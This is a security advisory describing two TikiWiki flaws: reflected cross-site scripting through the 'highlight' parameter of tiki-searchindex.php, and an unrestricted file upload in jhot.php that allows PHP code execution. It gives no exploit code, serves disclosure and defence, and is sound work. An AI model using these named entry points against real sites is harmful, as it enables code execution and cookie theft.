Thomas Pollet has discovered a vulnerability in TikiWiki, which can be
exploited by malicious people to conduct cross-site scripting attacks.

Input passed to the 'highlight' parameter in tiki-searchindex.php is
not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's
browser session in context of an affected site.

rgod has discovered a vulnerability in TikiWiki, which can be
exploited by malicious people to compromise a vulnerable system.

The vulnerability is caused due to the 'jhot.php' script not correctly
verifying uploaded files. This can e.g. be exploited to execute
arbitrary PHP code by uploading a malicious PHP script to the
'img/wiki' directory."

    A vulnerability in jhot.php allows for an unrestricted file upload to
    the img/wiki/ directory. Additionally, an XSS exists in the highlight
    parameter of tiki-searchindex.php.
  
Impact :

    An attacker could execute arbitrary code with the rights of the user
    running the web server by uploading a file and executing it via a
    filepath parameter. The XSS could be exploited to inject and execute
    malicious script code or to steal cookie-based authentication
    credentials, potentially compromising the victim's browser.
